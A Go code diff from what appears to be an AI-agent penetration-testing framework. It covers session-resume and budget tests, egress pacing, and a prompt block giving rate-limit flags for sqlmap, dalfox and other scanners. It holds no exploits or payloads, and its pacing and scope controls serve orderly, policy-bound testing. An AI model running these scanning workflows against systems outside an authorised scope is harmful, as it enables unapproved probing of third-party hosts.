t.Fatalf("Compaction=%v Compactor=%v; noa must replace the built-in compaction", opts.Compaction, opts.Compactor)
}
})
}
}
func irreducibleRequest() llm.CompletionRequest {
return llm.CompletionRequest{System: []string{strings.Repeat("protected system prompt ", 8000)}, MaxTokens: 8000}
}
func TestNoaBudgetRefusesIrreducibleRequestBeforeTransport(t *testing.T) {
t.Run("atomic", func(t *testing.T) {
inner := &countingProvider{}
p := &noaBudgetProvider{Provider: inner, window: 32000}
_, _, _, err := p.Complete(t.Context(), irreducibleRequest())
if err == nil || !strings.Contains(err.Error(), "exceeds configured budget 32000") || inner.calls != 0 {
t.Fatalf("err=%v provider calls=%d", err, inner.calls)
}
if !errors.Is(err, ErrNoaBudget) {
t.Fatalf("atomic refusal does not wrap ErrNoaBudget: %v", err)
}
if _, _, _, err := p.Complete(t.Context(), llm.CompletionRequest{System: []string{"short"}, MaxTokens: 1000}); err != nil || inner.calls != 1 {
t.Fatalf("a request that fits was refused or not sent: err=%v calls=%d", err, inner.calls)
}
})
t.Run("stream", func(t *testing.T) {
inner := &countingProvider{}
p := &noaBudgetProvider{Provider: inner, window: 32000}
var events int
var err error
for ev, e := range p.Stream(t.Context(), irreducibleRequest()) {
if e != nil {
err = e
break
}
_ = ev
events++
}
if err == nil || !strings.Contains(err.Error(), "exceeds configured budget 32000") || events != 0 || inner.calls != 0 {
t.Fatalf("err=%v events=%d provider calls=%d", err, events, inner.calls)
}
if !errors.Is(err, ErrNoaBudget) {
t.Fatalf("stream refusal does not wrap ErrNoaBudget: %v", err)
}
for _, e := range p.Stream(t.Context(), llm.CompletionRequest{System: []string{"short"}, MaxTokens: 1000}) {
if e != nil {
t.Fatal(e)
}
}
if inner.calls != 1 {
t.Fatalf("a request that fits was not streamed: calls=%d", inner.calls)
}
})
}
func TestEnableNoaFailureKeepsBuiltInCompaction(t *testing.T) {
withNoaEnable(t, func(*agentcore.Options, noaadapter.Options) error { return errors.New("archive dir unusable") })
inner := &countingProvider{}
compaction := compactionConfig(32000)
opts := &agentcore.Options{Compaction: compaction, Provider: inner}
var warns []string
enableNoa(opts, func() bool { return true }, t.TempDir(), "noa-fail", func(m string) { warns = append(warns, m) })
if len(warns) != 1 || !strings.Contains(warns[0], "falling back to built-in compaction") || !strings.Contains(warns[0], "archive dir unusable") {
t.Fatalf("warnings %q", warns)
}
if opts.Compaction != compaction || opts.Compactor != nil {
t.Fatalf("Compaction=%v Compactor=%v; the built-in compaction must stay", opts.Compaction, opts.Compactor)
}
if opts.Provider != llm.Provider(inner) {
t.Fatalf("provider %T was wrapped although noa is off", opts.Provider)
}
}
+6 -5
View File
@@ -14,10 +14,11 @@ import (
// prompts stay byte-for-byte unchanged by default.
const noiseProfileHeader = "[Noise profile: "
// noiseProfileBlock returns the low-and-slow guidance for the active noise
// profile (ARTEX_NOISE_PROFILE), or "" when the profile is off. The text is
// code-owned and carries no target data.
func noiseProfileBlock() string { return renderNoiseProfile(egress.ProfileFromEnv()) }
// noiseProfileBlock returns the low-and-slow guidance for the current noise
// profile (the noise_profile setting, else ARTEX_NOISE_PROFILE), or "" when the
// profile is off. It is read at each prompt build, so a changed setting shows in
// the next prompt. The text is code-owned and carries no target data.
func noiseProfileBlock() string { return renderNoiseProfile(egress.CurrentProfile()) }
// renderNoiseProfile renders the block for one profile. It is pure: tests cover
// every profile without touching the environment.
@@ -63,6 +64,6 @@ func renderNoiseProfile(p egress.Profile) string {
fmt.Fprintf(&b, "- sqlmap: --delay=%s --threads=1\n", delaySec)
fmt.Fprintf(&b, "For any other tool, stay at or below %d requests per second per host, at most %s in flight, and at least %d ms between requests, using the tool's own rate or delay flag. Keep bbot within the same limits with its own rate settings, and do not enable active modules the program policy does not allow.\n", rps, inFlight, delayMS)
b.WriteString("Prefer passive and read-only checks; test one host at a time; do not run two scanners against the same host in parallel; on 429 or 503 stop and back off; never raise the rate to meet a deadline.\n")
b.WriteString("ARTEX paces its own WebFetch, http custom tool and enrich traffic with this profile, but commands launched through Bash are not paced: these flags are the only brake.\n")
b.WriteString("ARTEX paces its own WebFetch, http custom tool and enrich traffic with this profile. With traffic capture on, Bash commands that use the capture proxy (curl, wget, python-requests) are paced too, by rate and jitter; raw scanners such as nmap and commands that bypass the proxy are not. These flags remain the brake: do not rely on the proxy.\n")
return b.String()
}
+16 -11
View File
@@ -41,7 +41,7 @@ func TestRenderNoiseProfileTable(t *testing.T) {
fmt.Sprintf("- dalfox scan: --rate-limit %d --workers %d", c.rps, c.conc),
fmt.Sprintf("- sqlmap: --delay=%s --threads=1", c.sql),
fmt.Sprintf("at least %d ms between requests", c.delay),
"commands launched through Bash are not paced",
"ARTEX paces its own WebFetch, http custom tool and enrich traffic with this profile. With traffic capture on, Bash commands that use the capture proxy (curl, wget, python-requests) are paced too, by rate and jitter; raw scanners such as nmap and commands that bypass the proxy are not. These flags remain the brake: do not rely on the proxy.",
} {
if !strings.Contains(got, want) {
t.Errorf("%s: missing %q in:\n%s", c.name, want, got)
@@ -59,18 +59,23 @@ func TestPromptBuildersNoiseBlock(t *testing.T) {
"mainagent": func() string { return mainAgentSystem("goal", "/data", "/work") },
"chat": func() string { return chatSystem("auto", "/data", "/work") },
}
for _, env := range []string{"", "off"} {
t.Setenv("ARTEX_NOISE_PROFILE", env)
prev := egress.CurrentProfile()
t.Cleanup(func() { egress.SetProfile(prev) })
// The block follows the current profile, not the environment.
t.Setenv("ARTEX_NOISE_PROFILE", "aggressive")
egress.SetProfile(egress.Profile{Name: "off"})
for name, build := range builders {
if got := build(); strings.Contains(got, noiseProfileHeader) {
t.Errorf("%s with profile off contains the noise block", name)
}
}
for _, profile := range []string{"quiet", "balanced"} {
egress.SetProfile(egress.Profiles[profile])
for name, build := range builders {
if got := build(); strings.Contains(got, noiseProfileHeader) {
t.Errorf("%s with profile %q contains the noise block", name, env)
got := build()
if !strings.Contains(got, noiseProfileHeader+profile) || strings.Contains(got, noiseProfileHeader+"aggressive") {
t.Errorf("%s after SetProfile(%s) is missing its block or shows the env profile", name, profile)
}
}
}
t.Setenv("ARTEX_NOISE_PROFILE", "quiet")
for name, build := range builders {
if got := build(); !strings.Contains(got, noiseProfileHeader+"quiet") {
t.Errorf("%s with quiet is missing the noise block", name)
}
}
}
+4 -1
View File
@@ -567,9 +567,12 @@ func (p *Planner) Plan(ctx context.Context, taskID int64, as *db.AssetStore, ts
if hooks != nil { // typed-nil guard: only set when concrete (avoids harness panic)
opts.Hooks = hooks
}
// The session id is the provider-side identity (session header, usage metering)
// with or without persistence; Norma only puts it on ctx when it writes a transcript.
opts.SessionID = fmt.Sprintf("exp%d-planner", ts.ID())
ctx = transcript.WithSessionID(ctx, opts.SessionID)
if p.tx != nil { // persist raw LLM conversation; one accumulating file per task's planner
opts.Transcript = p.tx
opts.SessionID = fmt.Sprintf("exp%d-planner", ts.ID())
}
// Experimental: when on, noa takes over context compression (archives persist under <workDir>/noa/<SessionID>).
noaSession := fmt.Sprintf("exp%d-planner", ts.ID())
+23
View File
@@ -49,3 +49,26 @@ func TestProxyEnvInjectsCAWhenRecording(t *testing.T) {
}
}
}
// Only the recording proxy (a CA is present) gets the pace marker; the global
// proxy of the capture-off path is passed as configured.
func TestProxyEnvMarksOnlyTheRecordingProxy(t *testing.T) {
proxyVars := map[string]bool{"HTTP_PROXY": true, "HTTPS_PROXY": true, "ALL_PROXY": true}
check := func(env []string, want, what string) {
t.Helper()
n := 0
for _, e := range env {
if k, v, _ := strings.Cut(e, "="); proxyVars[strings.ToUpper(k)] {
n++
if v != want {
t.Errorf("%s: %s, want %s", what, e, want)
}
}
}
if n != 6 {
t.Errorf("%s: %d proxy variables, want 6", what, n)
}
}
check(proxyEnv("http://127.0.0.1:8788", "/data/ca.pem"), "http://artex-pace:artex-pace@127.0.0.1:8788", "capture on")
check(proxyEnv("http://u:p@10.0.0.1:3128", ""), "http://u:p@10.0.0.1:3128", "capture off")
}
+19
View File
@@ -0,0 +1,19 @@
package agent
import (
"fmt"
"github.com/Autumn-27/norma/agentcore"
)
// resumeSession reloads the persisted conversation of session id into s. Norma's
// transcript.Store.Load treats a missing file as a fresh session (no records, no
// error); any other failure, such as a corrupt line or an unreadable path, is
// returned so the caller stops before the first model or tool call instead of
// appending a new conversation to the damaged file.
func resumeSession(s *agentcore.Session, id string) error {
if err := s.Resume(id); err != nil {
return fmt.Errorf("restore Norma session %q: %w", id, err)
}
return nil
}
+305
View File
@@ -0,0 +1,305 @@
package agent
import (
"context"
"encoding/json"
"fmt"
"iter"
"os"
"path/filepath"
"strings"
"sync"
"testing"
"github.com/Autumn-27/artex/db"
"github.com/Autumn-27/norma/llm"
"github.com/Autumn-27/norma/transcript"
)
// sessionProbe is a provider that answers every call with one text turn and
// records the session id it saw on ctx plus the request messages.
type sessionProbe struct {
mu sync.Mutex
ids []string
msgs [][]llm.Message
}
func (p *sessionProbe) Stream(ctx context.Context, req llm.CompletionRequest) iter.Seq2[llm.StreamEvent, error] {
p.mu.Lock()
p.ids = append(p.ids, transcript.SessionIDFrom(ctx))
p.msgs = append(p.msgs, req.Messages)
p.mu.Unlock()
return func(yield func(llm.StreamEvent, error) bool) {
if yield(llm.StreamEvent{Type: llm.SETextDelta, Text: "done"}, nil) {
yield(llm.StreamEvent{Type: llm.SEMessageDelta, StopReason: "end_turn"}, nil)
}
}
}
func (p *sessionProbe) Complete(ctx context.Context, req llm.CompletionRequest) (llm.Message, string, llm.Usage, error) {
acc := llm.NewAccumulator()
for ev, err := range p.Stream(ctx, req) {
if err != nil {
return llm.Message{}, "", llm.Usage{}, err
}
acc.Add(ev)
}
return acc.Message(), acc.StopReason, acc.Usage, nil
}
func (p *sessionProbe) seen() []string {
p.mu.Lock()
defer p.mu.Unlock()
return append([]string(nil), p.ids...)
}
// jsonlFiles lists every .jsonl file under dir.
func jsonlFiles(t *testing.T, dir string) []string {
t.Helper()
var out []string
err := filepath.WalkDir(dir, func(path string, d os.DirEntry, err error) error {
if err != nil {
return err
}
if !d.IsDir() && strings.HasSuffix(path, ".jsonl") {
out = append(out, path)
}
return nil
})
if err != nil {
t.Fatal(err)
}
return out
}
// damageTranscript makes the main transcript of id corrupt (a non-JSON line) or
// unreadable (a directory). It returns the bytes a corrupt file must keep.
func damageTranscript(t *testing.T, store *transcript.Store, id string, unreadable bool) string {
t.Helper()
path := store.MainPath(id)
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
t.Fatal(err)
}
if unreadable {
if err := os.Mkdir(path, 0o700); err != nil {
t.Fatal(err)
}
return ""
}
const original = "{corrupt transcript\n"
if err := os.WriteFile(path, []byte(original), 0o600); err != nil {
t.Fatal(err)
}
return original
}
// assertTranscriptUntouched checks that a damaged transcript was neither
// rewritten nor appended to.
func assertTranscriptUntouched(t *testing.T, store *transcript.Store, id, original string, unreadable bool) {
t.Helper()
path := store.MainPath(id)
if unreadable {
entries, err := os.ReadDir(path)
if err != nil || len(entries) != 0 {
t.Fatalf("unreadable transcript changed: entries=%v err=%v", entries, err)
}
return
}
b, err := os.ReadFile(path)
if err != nil || string(b) != original {
t.Fatalf("damaged transcript changed: %q err=%v", b, err)
}
}
func assertRestoreError(t *testing.T, err error, calls int) {
t.Helper()
if err == nil || !strings.Contains(err.Error(), "restore Norma session") || calls != 0 {
t.Fatalf("err=%v provider calls=%d", err, calls)
}
}
var damageCases = []struct {
name string
unreadable bool
}{{"corrupt", false}, {"unreadable-directory", true}}
func TestChatSessionIdentityWithoutTranscript(t *testing.T) {
p := &sessionProbe{}
workDir := t.TempDir()
c := NewChatAgent(p, "test-model", workDir, nil, 100000)
for range 2 {
if _, err := c.Chat(t.Context(), "assistant", "conv-stable", "hello", 1, 0, false, nil); err != nil {
t.Fatal(err)
}
}
if ids := p.seen(); len(ids) != 2 || ids[0] != "conv-stable" || ids[1] != "conv-stable" {
t.Fatalf("provider session ids: %v", ids)
}
if files := jsonlFiles(t, workDir); len(files) != 0 {
t.Fatalf("transcript written without persistence: %v", files)
}
}
func TestChatMissingTranscriptStartsFresh(t *testing.T) {
store := transcript.NewStore(t.TempDir())
p := &sessionProbe{}
c := NewChatAgent(p, "test-model", t.TempDir(), store, 100000)
if _, err := c.Chat(t.Context(), "assistant", "conv-new", "hello", 1, 0, false, nil); err != nil {
t.Fatal(err)
}
if ids := p.seen(); len(ids) != 1 || ids[0] != "conv-new" {
t.Fatalf("provider session ids: %v", ids)
}
recs, err := store.Load(store.MainPath("conv-new"))
if err != nil || len(recs) == 0 {
t.Fatalf("fresh transcript not written: %d records, err=%v", len(recs), err)
}
}
func TestChatRefusesDamagedTranscript(t *testing.T) {
for _, tc := range damageCases {
t.Run(tc.name, func(t *testing.T) {
store := transcript.NewStore(t.TempDir())
original := damageTranscript(t, store, "conv-broken", tc.unreadable)
p := &sessionProbe{}
c := NewChatAgent(p, "test-model", t.TempDir(), store, 100000)
_, err := c.Chat(t.Context(), "assistant", "conv-broken", "hello", 1, 0, false, nil)
assertRestoreError(t, err, len(p.seen()))
assertTranscriptUntouched(t, store, "conv-broken", original, tc.unreadable)
})
}
}
func TestChatResumesSignedThinkingHistory(t *testing.T) {
store := transcript.NewStore(t.TempDir())
w := store.NewWriter("conv-signed", "")
w.RecordMessage(llm.UserText("earlier question"), llm.Usage{})
w.RecordMessage(llm.Message{Role: llm.RoleAssistant, Content: []llm.ContentBlock{
{Type: llm.BlockThinking, Thinking: "reasoning", Signature: "signed"},
{Type: llm.BlockRedactedThinking, Data: "opaque"},
{Type: llm.BlockText, Text: "earlier answer"},
}}, llm.Usage{})
if err := w.Err(); err != nil {
t.Fatal(err)
}
p := &sessionProbe{}
c := NewChatAgent(p, "test-model", t.TempDir(), store, 100000)
if _, err := c.Chat(t.Context(), "assistant", "conv-signed", "next question", 1, 0, false, nil); err != nil {
t.Fatal(err)
}
p.mu.Lock()
defer p.mu.Unlock()
if len(p.msgs) != 1 {
t.Fatalf("provider calls: %d", len(p.msgs))
}
var thinking, redacted bool
for _, m := range p.msgs[0] {
for _, b := range m.Content {
thinking = thinking || (b.Type == llm.BlockThinking && b.Thinking == "reasoning" && b.Signature == "signed")
redacted = redacted || (b.Type == llm.BlockRedactedThinking && b.Data == "opaque")
}
}
if !thinking || !redacted {
t.Fatalf("resumed history lost signed thinking=%v redacted=%v: %+v", thinking, redacted, p.msgs[0])
}
}
// sessionFixture is one exploration with one intent on the test database.
type sessionFixture struct {
expID int64
intentID int64
ts *db.ExplorationStore
intent *db.Node
}
func newSessionFixture(t *testing.T) sessionFixture {
t.Helper()
d := testDB(t)
t.Cleanup(func() { _ = d.Close() })
expID, err := d.CreateExploration("session identity probe", "keep the session id stable")
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _, _ = d.Exec(`DELETE FROM explorations WHERE id=$1`, expID) })
ts := d.Exploration(expID)
payload := map[string]any{"summary": "session probe"}
intentID, err := ts.AddNode("intent", payload, 0, "running", "planner", nil)
if err != nil {
t.Fatal(err)
}
raw, _ := json.Marshal(payload)
return sessionFixture{expID: expID, intentID: intentID, ts: ts, intent: &db.Node{ID: intentID, Payload: raw}}
}
// run drives one agent kind once and returns the session id it should use.
func (f sessionFixture) run(t *testing.T, kind string, p *sessionProbe, tx *transcript.Store) (string, error) {
t.Helper()
workDir := t.TempDir()
switch kind {
case "worker":
_, _, err := NewWorker(p, "test-model", workDir, tx, 0, 3).Execute(t.Context(), "work#1", f.expID, nil, f.ts, f.intent, passHooks{}, nil, nil, nil)
return WorkerSessionID(f.expID, f.intentID), err
case "planner":
_, _, err := NewPlanner(p, "test-model", workDir, tx, 0, 3).Plan(t.Context(), f.expID, nil, f.ts, "probe goal", nil, passHooks{}, nil)
return fmt.Sprintf("exp%d-planner", f.expID), err
case "mainagent":
_, err := NewMainAgent(p, "test-model", workDir, tx, 0, 3).Chat(t.Context(), f.expID, 0, nil, f.ts, "probe goal", "status?", passHooks{}, nil, nil, nil, nil, nil)
return fmt.Sprintf("exp%d-main", f.expID), err
case "mainagent-seg":
_, err := NewMainAgent(p, "test-model", workDir, tx, 0, 3).Chat(t.Context(), f.expID, 2, nil, f.ts, "probe goal", "status?", passHooks{}, nil, nil, nil, nil, nil)
return fmt.Sprintf("exp%d-main-s2", f.expID), err
}
t.Fatalf("unknown agent kind %q", kind)
return "", nil
}
func TestAgentSessionIdentityWithAndWithoutTranscript(t *testing.T) {
f := newSessionFixture(t)
for _, kind := range []string{"worker", "planner", "mainagent", "mainagent-seg"} {
t.Run(kind, func(t *testing.T) {
bare := &sessionProbe{}
want, err := f.run(t, kind, bare, nil)
if err != nil {
t.Fatal(err)
}
store := transcript.NewStore(t.TempDir())
persisted := &sessionProbe{}
if _, err := f.run(t, kind, persisted, store); err != nil {
t.Fatal(err)
}
for _, ids := range [][]string{bare.seen(), persisted.seen()} {
if len(ids) == 0 {
t.Fatal("provider never called")
}
for _, id := range ids {
if id != want {
t.Fatalf("provider session ids %v, want %q", ids, want)
}
}
}
if recs, err := store.Load(store.MainPath(want)); err != nil || len(recs) == 0 {
t.Fatalf("transcript %q not written under the session id: %d records, err=%v", want, len(recs), err)
}
})
}
}
func TestAgentRefusesDamagedTranscript(t *testing.T) {
f := newSessionFixture(t)
for _, kind := range []string{"worker", "mainagent"} {
for _, tc := range damageCases {
t.Run(kind+"/"+tc.name, func(t *testing.T) {
store := transcript.NewStore(t.TempDir())
id := WorkerSessionID(f.expID, f.intentID)
if kind == "mainagent" {
id = fmt.Sprintf("exp%d-main", f.expID)
}
original := damageTranscript(t, store, id, tc.unreadable)
p := &sessionProbe{}
_, err := f.run(t, kind, p, store)
assertRestoreError(t, err, len(p.seen()))
assertTranscriptUntouched(t, store, id, original, tc.unreadable)
})
}
}
}
+4 -4
View File
@@ -46,9 +46,9 @@ const stagnationMinRepeats = 3
func detectStagnation(done, findings []*db.Node) []map[string]any {
type dir struct {
firstID int64
repeats int
summary string
firstID int64
repeats int
summary string
}
dirs := map[string]*dir{}
order := []string{}
@@ -551,7 +551,7 @@ func (t *ToolSet) graphOverviewData() map[string]any {
// with the data so no prompt-template change is needed on deployed installs.
if stale := detectStagnation(recentDone, vulnNodes); len(stale) > 0 {
out["stagnation_warning"] = map[string]any{
"directions": stale,
"directions": stale,
"instruction": "these directions were dispatched repeatedly with zero findings produced since their first attempt — do NOT re-dispatch the same approach again; open a materially different direction, or judge the goal on the existing evidence instead of grinding",
}
}
+5 -5
View File
@@ -27,11 +27,12 @@ func withWebFetch(ctx context.Context, tools []actool.CoreTool, proxy, caCert st
gated := scoped && scope.Enabled != nil && scope.Enabled()
webFetch := actool.NewWebFetch(actool.WebFetchConfig{Proxy: proxy, CACert: caCert, CheckRedirect: intercept.RedirectCheck("WebFetch"),
DialContext: intercept.PinnedDialer("WebFetch", scoped), DisableDirectRetry: gated})
return append(tools[:len(tools):len(tools)], governedFetch{webFetch, egressGovernor()})
return append(tools[:len(tools):len(tools)], governedFetch{webFetch})
}
// egressGovernor is the governor of WebFetch; a test may pin it.
var egressGovernor = egress.Shared
// egressGovernor resolves the governor of a WebFetch call, once per call so a
// changed noise profile applies to the next call; a test may pin it.
var egressGovernor = egress.Current
// governedFetch runs each WebFetch call as one send under the egress governor
// (off by default; then the call runs unchanged). Under a noise profile it
@@ -42,7 +43,6 @@ var egressGovernor = egress.Shared
// 429/503 is not retried.
type governedFetch struct {
actool.CoreTool
g *egress.Governor
}
func (f governedFetch) Call(ctx context.Context, input json.RawMessage, tc *actool.ToolContext) (actool.Result, error) {
@@ -56,7 +56,7 @@ func (f governedFetch) Call(ctx context.Context, input json.RawMessage, tc *acto
if err != nil || u.Host == "" {
return f.CoreTool.Call(ctx, input, tc) // the tool reports the bad URL
}
return egress.Do(f.g, ctx, u, func() (actool.Result, error) {
return egress.Do(egressGovernor(), ctx, u, func() (actool.Result, error) {
return f.CoreTool.Call(ctx, input, tc)
})
}
+5 -1
View File
@@ -27,7 +27,11 @@ func TestWebFetchProfileDoesNotCache(t *testing.T) {
checks.Add(1)
return nil
}})
tool := governedFetch{inner, egress.New(egress.Profiles["balanced"])}
balanced := egress.New(egress.Profiles["balanced"])
old := egressGovernor
egressGovernor = func() *egress.Governor { return balanced }
t.Cleanup(func() { egressGovernor = old })
tool := governedFetch{inner}
ctx := intercept.WithTargetScope(t.Context(), intercept.TargetScope{TaskID: "7"})
for range 2 {
res, err := tool.Call(ctx, json.RawMessage(fetchInputJSON(pair.start)), &actool.ToolContext{})
+21 -3
View File
@@ -11,6 +11,7 @@ import (
"time"
"github.com/Autumn-27/artex/db"
"github.com/Autumn-27/artex/egress"
"github.com/Autumn-27/artex/intercept"
"github.com/Autumn-27/norma/agentcore"
"github.com/Autumn-27/norma/harness"
@@ -212,10 +213,19 @@ func (w *Worker) SetWebSearch(o WebSearchOpts) { w.webSearch = o }
// honor the proxy vars. ALL_PROXY is set too so a socks5 egress proxy (which curl
// only reads from ALL_PROXY, not HTTP(S)_PROXY) works in the capture-off path.
// Empty proxyAddr → nil (direct, unchanged env).
//
// With a MITM CA (capture on) the proxy URL carries the pace marker userinfo
// (egress.MarkProxyURL): the recording proxy then paces this connection's
// requests by the noise profile. Only Bash gets the marker; WebFetch, the http
// custom tools and enrich keep the plain URL, since egress paces them already.
// The global proxy (capture off) is left as configured.
func proxyEnv(proxyAddr, caCert string) []string {
if proxyAddr == "" {
return nil
}
if caCert != "" {
proxyAddr = egress.MarkProxyURL(proxyAddr)
}
env := []string{
"HTTP_PROXY=" + proxyAddr, "HTTPS_PROXY=" + proxyAddr,
"http_proxy=" + proxyAddr, "https_proxy=" + proxyAddr,
@@ -282,7 +292,7 @@ func workerTrafficBlock(recording bool) string {
if !recording {
return ""
}
return "\n\n**Traffic tools**:\n- traffic_search / traffic_get / traffic_blob: review responses, find already-visited resources — **check the traffic first, don't curl the same URL twice**. traffic_search **requires a host** and by default returns only 3 ultra-light index entries (id/method/url/status/resp_len, no response content) — explicitly raise limit when you need more; body_contains does full-text search in request/response bodies (at least 3 characters; supports substrings and CJK text, e.g. for passwords/keys/errors/internal addresses); to see one entry's raw content use traffic_get(id) — oversized bodies show as @blob sha256:<hash>, fetched in segments with traffic_blob(hash)."
return "\n\n**Traffic tools**:\n- traffic_search / traffic_get / traffic_blob / traffic_messages: review responses, find already-visited resources — **check the traffic first, don't curl the same URL twice**. traffic_search **requires a host** and by default returns only 3 ultra-light index entries (id/method/url/status/resp_len, no response content) — explicitly raise limit when you need more; body_contains does full-text search in request/response bodies (at least 3 characters; supports substrings and CJK text, e.g. for passwords/keys/errors/internal addresses); to see one entry's raw content use traffic_get(id) — oversized bodies show as @blob sha256:<hash>, fetched in segments with traffic_blob(hash). WebSocket (status 101) and SSE (text/event-stream) records are captured too: traffic_get shows the handshake, and traffic_messages(id) lists their messages in order with direction and type."
}
// artifactSpec is section [C]: the code-owned, non-editable tail appended to every
@@ -530,9 +540,12 @@ func (w *Worker) execute(ctx context.Context, name string, taskID int64, as *db.
if hooks != nil { // typed-nil guard: only set when concrete (avoids harness panic)
opts.Hooks = hooks
}
// The session id is the provider-side identity (session header, usage metering)
// with or without persistence; Norma only puts it on ctx when it writes a transcript.
opts.SessionID = WorkerSessionID(ts.ID(), intent.ID)
ctx = transcript.WithSessionID(ctx, opts.SessionID)
if w.tx != nil { // persist raw LLM conversation; one file per worked intent
opts.Transcript = w.tx
opts.SessionID = WorkerSessionID(ts.ID(), intent.ID)
}
intentID := intent.ID
emitWrap := func(r db.Activity) {
@@ -564,7 +577,12 @@ func (w *Worker) execute(ctx context.Context, name string, taskID int64, as *db.
// restarting from scratch.
alreadyRecorded := false
if w.tx != nil {
_ = s.Resume(opts.SessionID)
// A corrupt or unreadable transcript stops the run before any model or tool
// call. No terminal reason: the engine marks the intent blocked without the
// model_error reruns, which would only fail the same way again.
if err := resumeSession(s, opts.SessionID); err != nil {
return "", tsx.Writes(), err
}
alreadyRecorded = requestID != "" && hasWorkerChatMessage(s.Messages(), requestID)
if len(s.Messages()) > 0 && message == "" {
seedUnlockFromHistory(s.Messages(), def.UnlockSkill)
+6 -6
View File
@@ -7,12 +7,12 @@ import "time"
// these match the *target asset*: an exact/fuzzy domain·ip·url, or a CIDR range.
// This layer only stores rules; the matching/enforcement logic lives elsewhere.
type AssetInterceptRule struct {
ID int64 `json:"id"`
Enabled bool `json:"enabled"`
Kind string `json:"kind"` // exact_domain|exact_ip|exact_url|fuzzy_domain|fuzzy_ip|fuzzy_url|cidr
Pattern string `json:"pattern"`
Note string `json:"note"`
Builtin bool `json:"builtin"`
ID int64 `json:"id"`
Enabled bool `json:"enabled"`
Kind string `json:"kind"` // exact_domain|exact_ip|exact_url|fuzzy_domain|fuzzy_ip|fuzzy_url|cidr
Pattern string `json:"pattern"`
Note string `json:"note"`
Builtin bool `json:"builtin"`
// Action is only used by task-level rules: 'block'=intercept, 'allow'=allow (whitelist).
// Global rules (asset_intercept_rules) do not have this column; it is always empty and treated as intercept.
Action string `json:"action,omitempty"`
+6 -6
View File
@@ -1168,11 +1168,11 @@ func TestQueryDSLInScopeMembership(t *testing.T) {
}
stamp := time.Now().UnixNano()
root := fmt.Sprintf("sc%d.invalid", stamp) // in-scope root domain (task)
srcRoot := fmt.Sprintf("src%d.invalid", stamp) // in-scope via source task
out := fmt.Sprintf("out%d.invalid", stamp) // out of every scope
marker := fmt.Sprintf("mk%d", stamp) // bare-text token present in all rows
foreignTask := stamp + 777 // asset produced by an unrelated task
root := fmt.Sprintf("sc%d.invalid", stamp) // in-scope root domain (task)
srcRoot := fmt.Sprintf("src%d.invalid", stamp) // in-scope via source task
out := fmt.Sprintf("out%d.invalid", stamp) // out of every scope
marker := fmt.Sprintf("mk%d", stamp) // bare-text token present in all rows
foreignTask := stamp + 777 // asset produced by an unrelated task
// Scope: task owns root; source task owns srcRoot; task owns an IP /24.
for _, sc := range []struct {
@@ -1200,7 +1200,7 @@ func TestQueryDSLInScopeMembership(t *testing.T) {
{"subdomain", "api." + root, root, "", "", "", marker}, // under task root
{"service", "www." + root, root, "https://www." + root + "/", "", "", marker}, // service under task root
{"endpoint", "www." + root, root, "https://www." + root + "/a?" + marker + "=1", "GET", "", ""},
{"subdomain", "dev." + srcRoot, srcRoot, "", "", "", marker}, // under source-task root
{"subdomain", "dev." + srcRoot, srcRoot, "", "", "", marker}, // under source-task root
{"endpoint", "198.51.100.9", "198.51.100.9", "http://198.51.100.9:8080/" + marker, "GET", "", ""}, // IP-literal host, ip col empty
{"subdomain", "x." + out, out, "", "", "", marker}, // out of scope
}
+50 -26
View File
@@ -1486,11 +1486,13 @@ type TaskListMetrics struct {
Findings FindingSeverityCounts // this task's vulnerability count in the findings table (bucketed by severity)
}
// TaskListMetricsAll returns list aggregates for every live task in one query.
// The lateral lookups use the per-exploration indexes instead of grouping the
// complete activity history on every poll.
func (d *DB) TaskListMetricsAll() (map[int64]TaskListMetrics, error) {
rows, err := d.Query(`
// taskListMetricsQuery is the select shared by TaskListMetricsAll and
// TaskListMetrics; each appends its own WHERE on task. The lateral lookups use
// the per-exploration indexes instead of grouping the complete activity history
// on every poll. latest_activity orders by the column activity.created_at, so
// idx_act_latest (exploration_id, created_at DESC) serves the LIMIT 1; ordering
// by the output alias would sort every activity row of the task.
const taskListMetricsQuery = `
SELECT task.exploration_id,
COALESCE(token_metrics.input_tokens,0),
COALESCE(token_metrics.output_tokens,0),
@@ -1514,10 +1516,10 @@ func (d *DB) TaskListMetricsAll() (map[int64]TaskListMetrics, error) {
WHERE exploration_id=task.exploration_id AND kind='result'
) token_metrics ON true
LEFT JOIN LATERAL (
SELECT EXTRACT(EPOCH FROM created_at)::bigint AS created_at
SELECT EXTRACT(EPOCH FROM activity.created_at)::bigint AS created_at
FROM activity
WHERE exploration_id=task.exploration_id
ORDER BY created_at DESC
WHERE activity.exploration_id=task.exploration_id
ORDER BY activity.created_at DESC
LIMIT 1
) latest_activity ON true
LEFT JOIN LATERAL (
@@ -1539,30 +1541,41 @@ func (d *DB) TaskListMetricsAll() (map[int64]TaskListMetrics, error) {
FROM findings
WHERE task_id=task.id
) finding_metrics ON true
WHERE task.deleted_at IS NULL`)
WHERE task.deleted_at IS NULL`
// scanTaskListMetrics reads one row of taskListMetricsQuery.
func scanTaskListMetrics(row interface{ Scan(...any) error }) (int64, TaskListMetrics, error) {
var explorationID int64
var metrics TaskListMetrics
err := row.Scan(
&explorationID,
&metrics.Tokens.InputTokens,
&metrics.Tokens.OutputTokens,
&metrics.Tokens.CacheReadTokens,
&metrics.Tokens.CacheWriteTokens,
&metrics.LastActivity,
&metrics.Goals.Total,
&metrics.Goals.Met,
&metrics.RunningIntents,
&metrics.Findings.Critical,
&metrics.Findings.High,
&metrics.Findings.Medium,
&metrics.Findings.Low,
)
return explorationID, metrics, err
}
// TaskListMetricsAll returns list aggregates for every live task in one query.
func (d *DB) TaskListMetricsAll() (map[int64]TaskListMetrics, error) {
rows, err := d.Query(taskListMetricsQuery)
if err != nil {
return nil, err
}
defer rows.Close()
out := map[int64]TaskListMetrics{}
for rows.Next() {
var explorationID int64
var metrics TaskListMetrics
if err := rows.Scan(
&explorationID,
&metrics.Tokens.InputTokens,
&metrics.Tokens.OutputTokens,
&metrics.Tokens.CacheReadTokens,
&metrics.Tokens.CacheWriteTokens,
&metrics.LastActivity,
&metrics.Goals.Total,
&metrics.Goals.Met,
&metrics.RunningIntents,
&metrics.Findings.Critical,
&metrics.Findings.High,
&metrics.Findings.Medium,
&metrics.Findings.Low,
); err != nil {
explorationID, metrics, err := scanTaskListMetrics(rows)
if err != nil {
return nil, err
}
out[explorationID] = metrics
@@ -1570,6 +1583,17 @@ func (d *DB) TaskListMetricsAll() (map[int64]TaskListMetrics, error) {
return out, rows.Err()
}
